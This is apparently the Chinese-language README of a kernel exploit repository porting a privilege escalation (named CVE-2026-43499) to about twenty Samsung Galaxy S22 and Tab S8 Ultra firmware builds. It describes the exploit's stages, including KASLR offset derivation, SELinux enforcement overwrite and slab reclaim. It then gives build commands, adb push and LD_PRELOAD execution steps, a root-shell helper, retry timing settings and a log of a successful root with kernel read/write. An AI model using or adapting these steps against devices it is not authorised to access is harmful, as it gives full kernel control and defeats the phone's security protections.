https://github.com/user-attachments/assets/f3d0858d-f8f5-444f-8ae5-541c2bc744c3
![]() |
![]() |
![]() |
![]() |
虽然本仓库最初是作为 Galaxy S22 Ultra 的设备专用移植版本,但该项目此后已转向并扩展为支持所有运行 Linux Android 12 5.10 内核的三星设备。
该漏洞利用框架同时适配 Qualcomm(例如 Snapdragon 8 Gen 1 / SM8450)和 Samsung Exynos(例如 Exynos 2200)架构,针对 5.10 GKI 结构调整内核布局、CFI 分派、KASLR 偏移推导以及竞态编排。任何运行 5.10 内核的三星设备都可以通过使用 target_generator 将其符号和结构布局提取到 src/targets/<TARGET> 下的目标文件夹中来获得支持。
以下预配置的目标配置文件包含在 src/targets/<TARGET> 中。每个配置文件都包含针对该特定固件版本经过验证的内核偏移、结构布局和目标配置:
| 设备 | 型号 | 目标 / 构建 | SoC | Android | 地区 / 备注 |
|---|---|---|---|---|---|
| Galaxy S22 | SM-S901B | S901BXXSNGZD7 | Samsung Exynos 2200 | Android 16 | 欧洲 / 国际版 |
| Galaxy S22 | SM-S901E | S901EXXSEGZE3 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 全球 / 拉丁美洲 / 亚洲 / 非洲 |
| Galaxy S22 | SM-S901U1 | S901U1UESAGZF3 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 美国(工厂解锁版) |
| Galaxy S22 | SM-S901U1 | S901U1UESAGZH3 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 美国(工厂解锁版) |
| Galaxy S22 | SM-S901U | S901USQSAGZF3 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 美国(运营商锁定版) |
| Galaxy S22 | SM-S901U | S901USQSAGZH3 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 美国(运营商锁定版) |
| Galaxy S22 | SM-S901U | S901USQU2BVK1 | Qualcomm Snapdragon 8 Gen 1 | Android 13 | 美国(运营商锁定版) |
| Galaxy S22 | SM-S901W | S901WVLS4DWL3 | Qualcomm Snapdragon 8 Gen 1 | Android 14 | 加拿大 |
| Galaxy S22 | SM-S901W | S901WVLSAGZH3 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 加拿大 |
| Galaxy S22+ | SM-S9060 | S9060ZCS9GZA1 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 中国 (CHC) |
| Galaxy S22+ | SM-S906E | S906EXXSEGZE3 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 全球 / 拉丁美洲 / 亚洲 / 非洲 |
| Galaxy S22 Ultra | SM-S908B | S908BXXSMGZB2 | Samsung Exynos 2200 | Android 16 | 欧洲 / 国际版 |
| Galaxy S22 Ultra | SM-S908B | S908BXXSNGZD7 | Samsung Exynos 2200 | Android 16 | 欧洲 / 国际版 |
| Galaxy S22 Ultra | SM-S908E | S908EXXSEGZE3 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 全球 / 拉丁美洲 / 亚洲 / 非洲 |
| Galaxy S22 Ultra | SM-S908E | S908EXXSEGZH4 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 全球 / 拉丁美洲 / 亚洲 / 非洲 |
| Galaxy S22 Ultra | SM-S908N | S908NKSS9GZE5 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 韩国 |
| Galaxy S22 Ultra | SM-S908W | S908WVLS8FYG7 | Qualcomm Snapdragon 8 Gen 1 | Android 15 | 加拿大(基线配置文件) |
| Galaxy S22 Ultra | SM-S908W | S908WVLSAGZE3 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 加拿大 |
| Galaxy S22 Ultra | SCG14 | SCG14KDS1EZE3 | Qualcomm Snapdragon 8 Gen 1 | Android 16 | 日本 (au KDDI) |
| Galaxy Tab S8 Ultra | SM-X900 | X900XXU9DYE5 | Qualcomm Snapdragon 8 Gen 1 | Android 15 | 全球(Wi-Fi) |
[!NOTE] 偏移和结构布局特定于每个目标构建。请始终使用与您设备确切固件版本匹配的
PROJECT=<TARGET>参数进行构建。
本移植基于以下发布的漏洞利用实现:
b850d3bddc74c3328d5fbcc0568d21962b55d949特别感谢:
上游 Apache License 2.0 保留在 LICENSE 中,署名要求详见 NOTICE。
src/targets/<TARGET> 下添加了模块化目标配置文件,包含内核结构布局以及通过 target_generator 生成偏移。exp32 路径(或在适用时使用 exp64):futex 编排、32 位栈标记以及 sched_setattr 在嵌入式子阶段(src/exp32/)中运行。system_unbound_wq 用户态辅助程序 root 路径,并将运行时 SELinux 强制目标更新为 selinux_state.enforcing。/data/local/tmp/cve-2026-43499-root 添加了基于 socket 的 root 命令辅助程序。cve43499-hold 进程中,
以便悬空的内核引用无法被回收进无关的 slab 对象。将 ANDROID_NDK_HOME 设置为 Android NDK r27+ 或兼容的工具链,然后使用上表中您选择的 PROJECT=<TARGET> 运行:
# Example building for Galaxy S22 Ultra (SM-S908W):
make PROJECT=S908WVLS8FYG7 clean preload root-helper
# Or specify any target from the supported device list:
# make PROJECT=S901BXXSNGZD7 clean preload root-helper # Galaxy S22 (Exynos)
# make PROJECT=S906EXXSEGZE3 clean preload root-helper # Galaxy S22+ (Snapdragon)
# make PROJECT=X900XXU9DYE5 clean preload root-helper # Galaxy Tab S8 Ultra
要为运行 Android 内核并搭配 Buildroot 文件系统的 QEMU 环境构建:
make USE_BUILDROOT=1 PROJECT=<TARGET> clean preload root-helper
输出:
build/<TARGET>/bin/cve-2026-43499
build/<TARGET>/bin/cve-2026-43499-root
build/<TARGET>/bin/cve-exp32 (or cve-exp64 for 64-bit exp targets like BVK1)
将为您目标构建的二进制文件推送到设备:
export TARGET=S908WVLS8FYG7 # Replace with your target name
adb push build/$TARGET/bin/cve-2026-43499 /data/local/tmp/cve-2026-43499
adb push build/$TARGET/bin/cve-2026-43499-root /data/local/tmp/cve-2026-43499-root
# Push the stage binary (cve-exp32 or cve-exp64 depending on target):
if [ -f "build/$TARGET/bin/cve-exp64" ]; then
adb push build/$TARGET/bin/cve-exp64 /data/local/tmp/cve-exp64
adb shell chmod 755 /data/local/tmp/cve-exp64
else
adb push build/$TARGET/bin/cve-exp32 /data/local/tmp/cve-exp32
adb shell chmod 755 /data/local/tmp/cve-exp32
fi
adb shell chmod 755 /data/local/tmp/cve-2026-43499 /data/local/tmp/cve-2026-43499-root
执行漏洞利用阶段以启动 root 守护进程:
adb shell "LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
成功后,可从设备上的任意位置弹出交互式 root shell:
adb shell "/data/local/tmp/cve-2026-43499-root"
或直接执行 root 命令:
adb shell "/data/local/tmp/cve-2026-43499-root -c 'id'"
默认运行最多进行 16 次独立尝试。每个失败的子进程会在下一次尝试前退出,
因此其文件描述符和堆塑形分配会被释放,而不会在一个长期存活的漏洞利用进程中累积。
默认基础延迟为 20000 微秒,监督程序会扫描以下序列两次:
20000, 30000, 50000, 25000, 40000, 15000, 60000, 35000
在收集时序数据时可覆盖尝试次数或基础延迟:
adb shell "EXPLOIT_ATTEMPTS=24 PSELECT_DELAY_USEC=20000 LD_PRELOAD=/data/local/tmp/cve-2026-43499 sh"
在 S908WVLS8FYG7 上验证的结果:
[*] root umh result wake=1 complete=1 retval=0 socket=1
[+] pipe-physrw-summary pid=5011 done=1 root=1 kaslr=1 base=ffffffc0080d8000 slide=00000000000d8000
[+] pipe physrw pid=5011 done=1 root=1 kaslr=1 read_ok=1 write_ok=1 rw64=1/1 uid=2000->0
[+] stability keeper pid=28206 retaining reclaimed kernel pages
[+] exploit completed attempt=1/16
交互式 root shell 会话: